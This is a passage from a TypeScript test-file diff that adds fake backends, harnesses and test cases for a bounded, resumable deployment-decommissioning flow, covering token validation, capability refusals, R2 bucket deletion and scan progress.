mutationLeaseTtlMs: 15 * 60_000, - assertOwned: async () => {}, + assertOwned: async () => { + if (this.assertOwnedFailure !== undefined) { + throw this.assertOwnedFailure; + } + }, renew: async () => {}, put: (record) => this.put(record), delete: () => this.delete(), @@ -159,10 +177,34 @@ class MemoryStore implements FleetStateStore { } async put(record: FleetRecord): Promise { + if (record.decommissionIntent) { + const { decommissionIntent, ...source } = record; + record = { + ...source, + decommissionIntent: normalizeDecommissionAdvanceIntent( + decommissionIntent, + source, + ), + }; + } if (this.failPutPhase === record.phase) { this.failPutPhase = undefined; throw new Error(`failed state write at ${record.phase}`); } + const applicationFailure = this.failPutApplicationState; + if ( + applicationFailure && + record.applicationResources?.some( + (resource) => + resource.name === applicationFailure.name && + resource.state === applicationFailure.state, + ) + ) { + this.failPutApplicationState = undefined; + throw new Error( + `failed state write at ${applicationFailure.name}:${applicationFailure.state}`, + ); + } this.record = record; this.phases.push(record.phase); } @@ -261,6 +303,10 @@ class FakeBackend implements ProvisioningBackend { forceFailOnceAt: ForceDecommissionStep | undefined; forceStepGate: Promise | undefined; forceStepStarted: (() => void) | undefined; + readonly scanInputs: DecommissionAttachmentScanInput[] = []; + readonly scanResults: DecommissionAttachmentScanResult[] = []; + scanFailure: unknown; + residualCalls = 0; constructor(kind: ProvisioningBackendKind = 'workers-for-platforms') { this.kind = kind; @@ -340,6 +386,21 @@ class FakeBackend implements ProvisioningBackend { this.#event('migrations'); } + async advanceDecommissionAttachmentScan( + input: DecommissionAttachmentScanInput, + ): Promise { + this.scanInputs.push(input); + if (this.scanFailure !== undefined) throw this.scanFailure; + return ( + this.scanResults.shift() ?? { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + providerFetchAttemptsReserved: 3, + } + ); + } + describeExternalPlatformTarget(deployment: DeploymentSpec) { return { ...(deployment.queueProducer @@ -594,6 +655,10 @@ class FakeBackend implements ProvisioningBackend { async assertDatabaseDetached(): Promise {} + async assertDatabaseDeletionResidualsRemoved(): Promise { + this.residualCalls += 1; + } + async exportDatabase(): Promise<{ databaseId: string; location: string; @@ -635,6 +700,11 @@ class R2RollbackBackend extends FakeBackend { nonempty = false; emptyChecks = 0; writeAfterTrafficRemovalOnce = false; + r2FindCalls = 0; + readonly r2FindNames: string[] = []; + deleteCalls = 0; + deleteFailureBeforeCommit: unknown; + deleteFailureAfterCommit: unknown; override async removeTraffic(): Promise { await super.removeTraffic(); @@ -647,6 +717,8 @@ class R2RollbackBackend extends FakeBackend { async findApplicationR2Bucket( resource: ApplicationR2Resource, ): Promise { + this.r2FindCalls += 1; + this.r2FindNames.push(resource.name); return this.buckets.get(resource.bucketName); } @@ -709,7 +781,14 @@ class R2RollbackBackend extends FakeBackend { async deleteApplicationR2Bucket( resource: ApplicationR2Resource, ): Promise { + this.deleteCalls += 1; + if (this.deleteFailureBeforeCommit !== undefined) { + throw this.deleteFailureBeforeCommit; + } this.buckets.delete(resource.bucketName); + if (this.deleteFailureAfterCommit !== undefined) { + throw this.deleteFailureAfterCommit; + } } } @@ -944,6 +1023,111 @@ async function wranglerLoopHarness(deployment: DeploymentSpec) { return { backend, store, runnerCalls, state }; } +const DECOMMISSION_OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab'; + +interface BoundedDecommissionHarness { + readonly backend: R2RollbackBackend; + readonly store: MemoryStore; + readonly deployment: DeploymentSpec; + readonly clock: () => number; + readonly randomUUID: () => string; +} + +async function boundedDecommissionHarness( + options: { + readonly kind?: ProvisioningBackendKind; + readonly r2Names?: readonly string[]; + readonly store?: MemoryStore; + readonly external?: boolean; + } = {}, +): Promise { + const backend = new R2RollbackBackend(options.kind ?? 'plain-worker'); + const store = options.store ?? new MemoryStore(); + const deployment = spec({ + ...(options.external + ? { + authoredBy: 'external' as const, + durableObjectMigrations: [], + egressProxyService: undefined, + } + : {}), + application: { + vars: [], + secrets: [], + r2Buckets: (options.r2Names ?? []).map((name) => ({ name })), + }, + }); + await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: deployment, + secrets, + }); + backend.events.length = 0; + let tick = Date.parse('2026-08-30T00:00:00.000Z'); + return { + backend, + store, + deployment, + clock: () => { + tick += 1_000; + return tick; + }, + randomUUID: () => DECOMMISSION_OPERATION_ID, + }; +} + +function boundedAdvanceOptions( + harness: BoundedDecommissionHarness, + action: AdvanceDecommissionDeploymentOptions['action'], + overrides: Partial = {}, +): AdvanceDecommissionDeploymentOptions { + return { + backend: harness.backend, + store: harness.store, + spec: harness.deployment, + action, + maxProviderRequests: 12, + clock: harness.clock, + randomUUID: harness.randomUUID, + ...overrides, + }; +} + +async function startBoundedDecommission( + harness: BoundedDecommissionHarness, +): Promise { + return advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { kind: 'start' }), + ); +} + +async function continueBoundedDecommission( + harness: BoundedDecommissionHarness, + result: DecommissionAdvanceResult, +): Promise { + return advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'continue', + token: result.token, + }), + ); +} + +async function driveBoundedUntil( + harness: BoundedDecommissionHarness, + predicate: (record: FleetRecord) => boolean, +): Promise { + let result = await startBoundedDecommission(harness); + for (let step = 0; step < 64; step += 1) { + const record = harness.store.record; + if (record && predicate(record)) return result; + result = await continueBoundedDecommission(harness, result); + } + throw new Error('bounded decommission did not reach the requested state'); +} + describe('fleet provisioning', () => { it('attests empty application bindings exactly while allowing only system-owned variables', () => { const deployment = spec(); @@ -3478,4 +3662,2230 @@ describe('fleet provisioning', () => { expect(state.databaseExists).toBe(true); expect(store.record).toBeUndefined(); }); + + it('starts stable operation before I/O and recovers lost start response', async () => { + const store = new CommitThenThrowStore(); + const harness = await boundedDecommissionHarness({ store }); + store.failAfterCommittedPhase = 'decommission-advancing'; + const randomUUID = vi.fn(() => DECOMMISSION_OPERATION_ID); + const clock = vi.fn(() => Date.parse('2026-08-30T01:00:00.000Z')); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'start' }, + { randomUUID, clock }, + ), + ), + ).rejects.toThrow(/response was lost/u); + expect(store.record?.decommissionIntent).toMatchObject({ + operationId: DECOMMISSION_OPERATION_ID, + revision: 0, + generation: 0, + state: 'transitioning', + }); + expect(randomUUID).toHaveBeenCalledTimes(1); + expect(clock).toHaveBeenCalledTimes(1); + + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'start' }, + { randomUUID, clock }, + ), + ), + ).resolves.toMatchObject({ status: 'pending', token: { revision: 0 } }); + expect(randomUUID).toHaveBeenCalledTimes(1); + expect(clock).toHaveBeenCalledTimes(1); + + const missingUuid = await boundedDecommissionHarness(); + const missingUuidRecord = missingUuid.store.record; + const missingUuidLeases = missingUuid.store.leaseCalls; + await expect( + advanceDecommissionDeployment({ + ...boundedAdvanceOptions(missingUuid, { kind: 'start' }), + randomUUID: undefined as never, + }), + ).rejects.toThrow( + 'advanceDecommissionDeployment requires a randomUUID function', + ); + expect(missingUuid.store.record).toBe(missingUuidRecord); + expect(missingUuid.store.leaseCalls).toBe(missingUuidLeases); + const invalidUuid = await boundedDecommissionHarness(); + const invalidUuidRecord = invalidUuid.store.record; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + invalidUuid, + { kind: 'start' }, + { + randomUUID: () => 'not-a-uuid', + }, + ), + ), + ).rejects.toThrow('decommission advance token is malformed'); + expect(invalidUuid.store.record).toBe(invalidUuidRecord); + + const throwingUuid = await boundedDecommissionHarness(); + const uuidFailure = new Error('uuid source failed'); + const throwingUuidRecord = throwingUuid.store.record; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + throwingUuid, + { kind: 'start' }, + { + randomUUID() { + throw uuidFailure; + }, + }, + ), + ), + ).rejects.toBe(uuidFailure); + expect(throwingUuid.store.record).toBe(throwingUuidRecord); + + const unsupported = await boundedDecommissionHarness(); + unsupported.store.record = { + ...(unsupported.store.record as FleetRecord), + phase: 'decommissioned', + }; + const unsupportedRecord = unsupported.store.record; + const unsupportedEvents = [...unsupported.backend.events]; + const unsupportedUuid = vi.fn(() => DECOMMISSION_OPERATION_ID); + const unsupportedClock = vi.fn(() => Date.now()); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + unsupported, + { kind: 'start' }, + { randomUUID: unsupportedUuid, clock: unsupportedClock }, + ), + ), + ).rejects.toThrow( + "cannot start bounded decommission in phase 'decommissioned'", + ); + expect(unsupportedUuid).not.toHaveBeenCalled(); + expect(unsupportedClock).not.toHaveBeenCalled(); + expect(unsupported.store.record).toBe(unsupportedRecord); + expect(unsupported.backend.events).toEqual(unsupportedEvents); + expect(unsupported.backend.databaseIdsRead).toHaveLength(0); + }); + + it('invalid budgets and missing capabilities refuse before the first write', async () => { + const invalid = await boundedDecommissionHarness(); + const leases = invalid.store.leaseCalls; + for (const maxProviderRequests of [8, 1_001, 9.5]) { + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + invalid, + { kind: 'start' }, + { maxProviderRequests }, + ), + ), + ).rejects.toThrow( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + } + expect(invalid.store.leaseCalls).toBe(leases); + + const rows = [ + [ + 'advanceDecommissionAttachmentScan', + 'attachment-scan', + 'backend cannot perform bounded decommission attachment scans', + ], + [ + 'assertDatabaseDeletionResidualsRemoved', + 'database-residuals', + 'backend cannot inspect database deletion residuals', + ], + [ + 'findApplicationR2Bucket', + 'application-r2-inspection', + 'backend cannot inspect application R2 resources', + ], + [ + 'assertApplicationR2Empty', + 'application-r2-empty', + 'backend cannot attest application R2 emptiness', + ], + [ + 'deleteApplicationR2Bucket', + 'application-r2-delete', + 'backend cannot delete application R2 resources', + ], + ] as const; + for (const [property, capability, message] of rows) { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + Object.defineProperty(harness.backend, property, { + configurable: true, + value: undefined, + }); + const before = harness.store.record; + const failure = await advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { kind: 'start' }), + ).catch((error: unknown) => error); + expect(failure).toBeInstanceOf(DecommissionAdvanceCapabilityError); + if (!(failure instanceof DecommissionAdvanceCapabilityError)) { + throw new Error('missing typed decommission capability refusal'); + } + expect(Object.getPrototypeOf(failure)).toBe( + DecommissionAdvanceCapabilityError.prototype, + ); + expect(failure).toMatchObject({ + name: 'DecommissionAdvanceCapabilityError', + message, + capability, + }); + expect(harness.store.record).toBe(before); + } + + const currentScan = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const discover = await driveBoundedUntil( + currentScan, + (record) => record.decommissionIntent?.state === 'discover', + ); + Object.defineProperty( + currentScan.backend, + 'advanceDecommissionAttachmentScan', + { configurable: true, value: undefined }, + ); + const snapshot = currentScan.store.record; + await expect( + continueBoundedDecommission(currentScan, discover), + ).rejects.toMatchObject({ capability: 'attachment-scan' }); + expect(currentScan.store.record).toBe(snapshot); + + const currentResidual = await boundedDecommissionHarness(); + const credentials = await driveBoundedUntil( + currentResidual, + (record) => + record.decommissionIntent?.lifecyclePhase === 'credentials-revoked', + ); + Object.defineProperty( + currentResidual.backend, + 'assertDatabaseDeletionResidualsRemoved', + { configurable: true, value: undefined }, + ); + const reads = currentResidual.backend.databaseIdsRead.length; + await expect( + continueBoundedDecommission(currentResidual, credentials), + ).rejects.toMatchObject({ capability: 'database-residuals' }); + expect(currentResidual.backend.databaseIdsRead).toHaveLength(reads); + + const accessorHarness = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const findImplementation = accessorHarness.backend.findApplicationR2Bucket; + const emptyImplementation = + accessorHarness.backend.assertApplicationR2Empty; + let findReads = 0; + let emptyReads = 0; + Object.defineProperty(accessorHarness.backend, 'findApplicationR2Bucket', { + configurable: true, + get() { + findReads += 1; + return findImplementation; + }, + }); + Object.defineProperty(accessorHarness.backend, 'assertApplicationR2Empty', { + configurable: true, + get() { + emptyReads += 1; + return emptyImplementation; + }, + }); + const accessorStart = await startBoundedDecommission(accessorHarness); + expect(findReads).toBe(1); + expect(emptyReads).toBe(1); + await continueBoundedDecommission(accessorHarness, accessorStart); + expect(findReads).toBe(2); + expect(emptyReads).toBe(2); + + for (const [state, property, capability] of [ + ['detached', 'assertApplicationR2Empty', 'application-r2-empty'], + ['empty', 'deleteApplicationR2Bucket', 'application-r2-delete'], + ] as const) { + const branch = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const current = await driveBoundedUntil( + branch, + (record) => record.applicationResources?.[0]?.state === state, + ); + Object.defineProperty(branch.backend, property, { + configurable: true, + value: undefined, + }); + const before = branch.store.record; + await expect( + continueBoundedDecommission(branch, current), + ).rejects.toMatchObject({ capability }); + expect(branch.store.record).toBe(before); + } + + const exactVerify = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const exactDiscover = await driveBoundedUntil( + exactVerify, + (record) => record.decommissionIntent?.state === 'discover', + ); + const exactToken = await continueBoundedDecommission( + exactVerify, + exactDiscover, + ); + const exactFind = exactVerify.backend.findApplicationR2Bucket; + let exactFindReads = 0; + Object.defineProperty(exactVerify.backend, 'findApplicationR2Bucket', { + configurable: true, + get() { + exactFindReads += 1; + return exactFind; + }, + }); + await expect( + continueBoundedDecommission(exactVerify, exactToken), + ).resolves.toMatchObject({ status: 'pending' }); + expect(exactFindReads).toBe(1); + expect(exactVerify.store.record?.applicationResources?.[0]?.state).toBe( + 'detached', + ); + + const deletedPrefix = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + await driveBoundedUntil( + deletedPrefix, + (record) => record.applicationResources?.[0]?.state === 'deleted', + ); + const deletedCurrent = await startBoundedDecommission(deletedPrefix); + Object.defineProperty(deletedPrefix.backend, 'findApplicationR2Bucket', { + configurable: true, + value: undefined, + }); + await expect( + continueBoundedDecommission(deletedPrefix, deletedCurrent), + ).rejects.toMatchObject({ capability: 'application-r2-inspection' }); + + for (const lifecyclePhase of ['ready', 'traffic-removed'] as const) { + const deletedOnly = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const resource = deletedOnly.store.record?.applicationResources?.[0]; + if (!resource) throw new Error('missing deleted-only R2 resource'); + deletedOnly.backend.buckets.delete(resource.bucketName); + deletedOnly.store.record = { + ...(deletedOnly.store.record as FleetRecord), + phase: lifecyclePhase, + applicationResources: [{ ...resource, state: 'deleted' }], + }; + if (lifecyclePhase === 'traffic-removed') { + deletedOnly.backend.trafficRemoved = true; + } + Object.defineProperties(deletedOnly.backend, { + assertApplicationR2Empty: { + configurable: true, + value: undefined, + }, + deleteApplicationR2Bucket: { + configurable: true, + value: undefined, + }, + }); + const initialFinds = deletedOnly.backend.r2FindCalls; + const initialEvents = deletedOnly.backend.events.length; + const initialDatabaseReads = deletedOnly.backend.databaseIdsRead.length; + const initialTrafficChecks = + deletedOnly.backend.assertTrafficRemovedCalls; + const initialWrites = deletedOnly.store.phases.length; + const started = await startBoundedDecommission(deletedOnly); + expect(deletedOnly.backend.r2FindCalls, lifecyclePhase).toBe( + initialFinds, + ); + expect(deletedOnly.backend.events, lifecyclePhase).toHaveLength( + initialEvents, + ); + expect(deletedOnly.backend.databaseIdsRead, lifecyclePhase).toHaveLength( + initialDatabaseReads, + ); + expect( + deletedOnly.backend.assertTrafficRemovedCalls, + lifecyclePhase, + ).toBe(initialTrafficChecks); + expect(deletedOnly.store.phases, lifecyclePhase).toHaveLength( + initialWrites + 1, + ); + + await continueBoundedDecommission(deletedOnly, started); + expect( + deletedOnly.store.record?.decommissionIntent?.lifecyclePhase, + lifecyclePhase, + ).toBe( + lifecyclePhase === 'ready' ? 'decommissioning' : 'credentials-revoked', + ); + expect( + deletedOnly.backend.r2FindNames.slice(initialFinds), + lifecyclePhase, + ).toEqual(['FILES']); + expect( + deletedOnly.backend.events.slice(initialEvents), + lifecyclePhase, + ).toEqual(lifecyclePhase === 'ready' ? [] : ['revoke']); + expect( + deletedOnly.backend.databaseIdsRead.length - initialDatabaseReads, + lifecyclePhase, + ).toBe(lifecyclePhase === 'ready' ? 0 : 1); + expect( + deletedOnly.backend.assertTrafficRemovedCalls - initialTrafficChecks, + lifecyclePhase, + ).toBe(lifecyclePhase === 'ready' ? 0 : 1); + expect(deletedOnly.store.phases, lifecyclePhase).toHaveLength( + initialWrites + 2, + ); + } + + for (const state of ['reserved', 'create-authorized'] as const) { + const incomplete = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const resource = incomplete.store.record?.applicationResources?.[0]; + if (!resource) throw new Error('missing incomplete R2 resource'); + const { creationDate: _creationDate, ...withoutCreation } = resource; + incomplete.store.record = { + ...(incomplete.store.record as FleetRecord), + applicationResources: [{ ...withoutCreation, state }], + }; + const uuid = vi.fn(() => DECOMMISSION_OPERATION_ID); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + incomplete, + { kind: 'start' }, + { + randomUUID: uuid, + }, + ), + ), + ).rejects.toThrow(/incomplete application R2 reservation/u); + expect(uuid).not.toHaveBeenCalled(); + } + + for (const lifecyclePhase of ['ready', 'traffic-removed'] as const) { + for (const state of ['reserved', 'create-authorized'] as const) { + const incomplete = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const current = + lifecyclePhase === 'ready' + ? await startBoundedDecommission(incomplete) + : await driveBoundedUntil( + incomplete, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'traffic-removed', + ); + const resource = incomplete.store.record?.applicationResources?.[0]; + if (!resource) + throw new Error('missing current incomplete R2 resource'); + const { creationDate: _creationDate, ...reservation } = resource; + incomplete.store.record = { + ...(incomplete.store.record as FleetRecord), + applicationResources: [{ ...reservation, state }], + }; + const capabilityImplementations = { + advanceDecommissionAttachmentScan: + incomplete.backend.advanceDecommissionAttachmentScan, + findApplicationR2Bucket: incomplete.backend.findApplicationR2Bucket, + assertApplicationR2Empty: incomplete.backend.assertApplicationR2Empty, + deleteApplicationR2Bucket: + incomplete.backend.deleteApplicationR2Bucket, + }; + const capabilityReads: string[] = []; + for (const property of Object.keys( + capabilityImplementations, + ) as (keyof typeof capabilityImplementations)[]) { + Object.defineProperty(incomplete.backend, property, { + configurable: true, + get() { + capabilityReads.push(property); + return capabilityImplementations[property]; + }, + }); + } + const before = JSON.stringify(incomplete.store.record); + const r2Finds = incomplete.backend.r2FindCalls; + const scans = incomplete.backend.scanInputs.length; + const emptyChecks = incomplete.backend.emptyChecks; + const deletes = incomplete.backend.deleteCalls; + const databaseReads = incomplete.backend.databaseIdsRead.length; + const trafficChecks = incomplete.backend.assertTrafficRemovedCalls; + const writes = incomplete.store.phases.length; + const events = [...incomplete.backend.events]; + const failure = await continueBoundedDecommission( + incomplete, + current, + ).catch((error: unknown) => error); + expect(failure, `${lifecyclePhase}:${state}`).toMatchObject({ + name: 'Error', + message: + 'normal decommission cannot consume incomplete application R2 reservation', + }); + expect(capabilityReads, `${lifecyclePhase}:${state}`).toEqual([]); + expect( + incomplete.backend.r2FindCalls, + `${lifecyclePhase}:${state}`, + ).toBe(r2Finds); + expect( + incomplete.backend.scanInputs, + `${lifecyclePhase}:${state}`, + ).toHaveLength(scans); + expect( + incomplete.backend.emptyChecks, + `${lifecyclePhase}:${state}`, + ).toBe(emptyChecks); + expect( + incomplete.backend.deleteCalls, + `${lifecyclePhase}:${state}`, + ).toBe(deletes); + expect( + incomplete.backend.databaseIdsRead, + `${lifecyclePhase}:${state}`, + ).toHaveLength(databaseReads); + expect( + incomplete.backend.assertTrafficRemovedCalls, + `${lifecyclePhase}:${state}`, + ).toBe(trafficChecks); + expect(incomplete.backend.events, `${lifecyclePhase}:${state}`).toEqual( + events, + ); + expect( + incomplete.store.phases, + `${lifecyclePhase}:${state}`, + ).toHaveLength(writes); + expect( + JSON.stringify(incomplete.store.record), + `${lifecyclePhase}:${state}`, + ).toBe(before); + } + } + + const platformRevoke = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + await driveBoundedUntil( + platformRevoke, + (record) => + record.decommissionIntent?.lifecyclePhase === 'worker-deleted', + ); + const revokeImplementation = + platformRevoke.backend.revokePlatformResourceCredentials; + let revokeReads = 0; + Object.defineProperty( + platformRevoke.backend, + 'revokePlatformResourceCredentials', + { + configurable: true, + get() { + revokeReads += 1; + return revokeImplementation; + }, + }, + ); + await continueBoundedDecommission( + platformRevoke, + await startBoundedDecommission(platformRevoke), + ); + expect(revokeReads).toBe(1); + + const platformDelete = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + await driveBoundedUntil( + platformDelete, + (record) => + record.decommissionIntent?.lifecyclePhase === + 'platform-credentials-revoked', + ); + const deleteImplementation = platformDelete.backend.deletePlatformResources; + const residualImplementation = + platformDelete.backend.assertDatabaseDeletionResidualsRemoved; + let deleteReads = 0; + let residualReads = 0; + Object.defineProperty(platformDelete.backend, 'deletePlatformResources', { + configurable: true, + get() { + deleteReads += 1; + return deleteImplementation; + }, + }); + Object.defineProperty( + platformDelete.backend, + 'assertDatabaseDeletionResidualsRemoved', + { + configurable: true, + get() { + residualReads += 1; + return residualImplementation; + }, + }, + ); + await continueBoundedDecommission( + platformDelete, + await startBoundedDecommission(platformDelete), + ); + expect(deleteReads).toBe(1); + expect(residualReads).toBe(1); + + for (const [lifecyclePhase, property, message] of [ + [ + 'worker-deleted', + 'revokePlatformResourceCredentials', + 'backend cannot revoke trusted platform resource credentials', + ], + [ + 'platform-credentials-revoked', + 'deletePlatformResources', + 'backend cannot delete trusted platform resources', + ], + ] as const) { + const malformed = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + const current = await driveBoundedUntil( + malformed, + (record) => + record.decommissionIntent?.lifecyclePhase === lifecyclePhase, + ); + let getterReads = 0; + Object.defineProperty(malformed.backend, property, { + configurable: true, + get() { + getterReads += 1; + return {}; + }, + }); + const before = malformed.store.record; + const databaseReads = malformed.backend.databaseIdsRead.length; + const events = [...malformed.backend.events]; + await expect( + continueBoundedDecommission(malformed, current), + ).rejects.toThrow(message); + expect(getterReads).toBe(1); + expect(malformed.backend.databaseIdsRead).toHaveLength(databaseReads); + expect(malformed.backend.events).toEqual(events); + expect(malformed.store.record).toBe(before); + } + }); + + it('classifies token errors before I/O; stale is inert; current advances one group', async () => { + const harness = await boundedDecommissionHarness(); + const getter = vi.fn(() => 'continue'); + const hostile: Record = {}; + Object.defineProperty(hostile, 'kind', { enumerable: true, get: getter }); + const leases = harness.store.leaseCalls; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, hostile as never), + ), + ).rejects.toThrow('decommission advance action is malformed'); + expect(getter).not.toHaveBeenCalled(); + expect(harness.store.leaseCalls).toBe(leases); + + const tokenGetter = vi.fn(() => ({})); + const hostileToken: Record = { kind: 'continue' }; + Object.defineProperty(hostileToken, 'token', { + enumerable: true, + get: tokenGetter, + }); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, hostileToken as never), + ), + ).rejects.toThrow('decommission advance action is malformed'); + expect(tokenGetter).not.toHaveBeenCalled(); + expect(harness.store.leaseCalls).toBe(leases); + + const cyclicToken: Record = {}; + cyclicToken.self = cyclicToken; + let deepToken: unknown = 'leaf'; + for (let depth = 0; depth < 10; depth += 1) { + deepToken = { next: deepToken }; + } + for (const action of [ + { kind: 'start', extra: true }, + { kind: 'unknown' }, + { kind: 'continue' }, + { kind: 'continue', token: {}, extra: true }, + { kind: 'restart-blocked' }, + { kind: 'restart-blocked', token: {}, extra: true }, + { kind: 'continue', token: cyclicToken }, + { kind: 'continue', token: deepToken }, + { kind: 'continue', token: Array.from({ length: 40 }, () => 0) }, + { kind: 'continue', token: 'x'.repeat(2_049) }, + ]) { + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, action as never), + ), + ).rejects.toThrow('decommission advance action is malformed'); + expect(harness.store.leaseCalls).toBe(leases); + } + + const started = await startBoundedDecommission(harness); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'continue', + token: { ...started.token, tenantTag: 'other' }, + }), + ), + ).rejects.toThrow('decommission advance token targets another deployment'); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'continue', + token: { ...started.token, operationId: crypto.randomUUID() }, + }), + ), + ).rejects.toThrow('decommission advance token targets another operation'); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'continue', + token: { ...started.token, revision: 99 }, + }), + ), + ).rejects.toThrow('decommission advance token is from the future'); + + const advanced = await continueBoundedDecommission(harness, started); + const events = [...harness.backend.events]; + await expect( + continueBoundedDecommission(harness, started), + ).resolves.toEqual(advanced); + expect(harness.backend.events).toEqual(events); + + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'start' }, + { + spec: spec({ + modules: [{ name: 'worker.js', content: 'changed' }], + }), + }, + ), + ), + ).rejects.toThrow(/different|match/u); + const replacementBackend = new R2RollbackBackend('workers-for-platforms'); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'start' }, + { backend: replacementBackend }, + ), + ), + ).rejects.toThrow('decommission backend does not own this deployment'); + expect(replacementBackend.events).toHaveLength(0); + + const absent = await boundedDecommissionHarness(); + absent.store.record = undefined; + await expect(startBoundedDecommission(absent)).rejects.toThrow( + 'deployment is not registered', + ); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(absent, { + kind: 'continue', + token: started.token, + }), + ), + ).rejects.toThrow('decommission advance token targets another operation'); + + const intent = harness.store.record?.decommissionIntent; + if (!intent) throw new Error('missing decommission intent'); + harness.store.record = { + ...(harness.store.record as FleetRecord), + phase: 'decommissioned', + applicationResources: [], + databaseExportLocation: 'r2://exports/db.sqlite', + databaseExportSha256: 'a'.repeat(64), + databaseExportSize: 32, + decommissionIntent: { + version: 1, + operationId: intent.operationId, + revision: 2, + generation: intent.generation, + updatedAt: intent.updatedAt, + identity: intent.identity, + lifecyclePhase: 'decommissioned', + state: 'complete', + }, + }; + const terminalRecord = harness.store.record as FleetRecord; + const currentToken = { ...started.token, revision: 2 }; + const expectedComplete = { + status: 'complete', + token: currentToken, + result: { + record: terminalRecord, + databaseExport: { + databaseId: terminalRecord.databaseId, + location: 'r2://exports/db.sqlite', + sha256: 'a'.repeat(64), + size: 32, + }, + }, + } as const; + const terminalEvents = [...harness.backend.events]; + const terminalWrites = harness.store.phases.length; + const terminalUuid = vi.fn(() => crypto.randomUUID()); + const terminalClock = vi.fn(() => Date.now()); + for (const action of [ + { kind: 'continue', token: currentToken }, + { kind: 'continue', token: { ...currentToken, revision: 1 } }, + { kind: 'start' }, + ] as const) { + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, action, { + randomUUID: terminalUuid, + clock: terminalClock, + }), + ), + ).resolves.toEqual(expectedComplete); + } + expect(terminalUuid).not.toHaveBeenCalled(); + expect(terminalClock).not.toHaveBeenCalled(); + expect(harness.backend.events).toEqual(terminalEvents); + expect(harness.store.phases).toHaveLength(terminalWrites); + }); + + it('a duplicate current token becomes stale after one lifecycle group', async () => { + const harness = await boundedDecommissionHarness(); + let tick = Date.parse('2026-08-30T02:00:00.000Z'); + const clock = vi.fn(() => (tick += 1_000)); + const started = await advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { kind: 'start' }, { clock }), + ); + expect(clock).toHaveBeenCalledTimes(1); + const first = await advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'continue', token: started.token }, + { clock }, + ), + ); + expect(first).toMatchObject({ status: 'pending', token: { revision: 1 } }); + expect(clock).toHaveBeenCalledTimes(2); + const phase = harness.store.record?.decommissionIntent?.lifecyclePhase; + const duplicate = await advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'continue', token: started.token }, + { clock }, + ), + ); + expect(duplicate).toEqual(first); + expect(clock).toHaveBeenCalledTimes(2); + expect(harness.store.record?.decommissionIntent?.lifecyclePhase).toBe( + phase, + ); + }); + + it('persists exact progress budget signal and scan-only timestamps', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const atDiscover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const before = harness.store.record as FleetRecord; + const scan = before.decommissionIntent; + if (scan?.state !== 'discover') + throw new Error('missing discover progress'); + harness.backend.scanResults.push({ + status: 'pending', + progress: scan.progress, + providerFetchAttemptsReserved: 12, + }); + const controller = new AbortController(); + const next = await advanceDecommissionDeployment( + boundedAdvanceOptions( + harness, + { kind: 'continue', token: atDiscover.token }, + { signal: controller.signal }, + ), + ); + expect(harness.backend.scanInputs.at(-1)).toMatchObject({ + progress: scan.progress, + maxProviderRequests: 12, + signal: controller.signal, + }); + expect(harness.store.record?.updatedAt).toBe(before.updatedAt); + expect(next.token.revision).toBe(atDiscover.token.revision + 1); + + const sentinel = new Error('scan transport failed'); + harness.backend.scanFailure = sentinel; + const snapshot = harness.store.record; + await expect(continueBoundedDecommission(harness, next)).rejects.toBe( + sentinel, + ); + expect(harness.store.record).toBe(snapshot); + + const aborted = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const abortedDiscover = await driveBoundedUntil( + aborted, + (record) => record.decommissionIntent?.state === 'discover', + ); + const abortedController = new AbortController(); + const abortReason = new Error('scan aborted by caller'); + abortedController.abort(abortReason); + aborted.backend.scanFailure = abortReason; + const abortedSnapshot = aborted.store.record; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions( + aborted, + { kind: 'continue', token: abortedDiscover.token }, + { signal: abortedController.signal }, + ), + ), + ).rejects.toBe(abortReason); + expect(aborted.backend.scanInputs.at(-1)?.signal).toBe( + abortedController.signal, + ); + expect(aborted.backend.scanInputs.at(-1)?.signal?.aborted).toBe(true); + expect(aborted.backend.scanInputs.at(-1)?.signal?.reason).toBe(abortReason); + 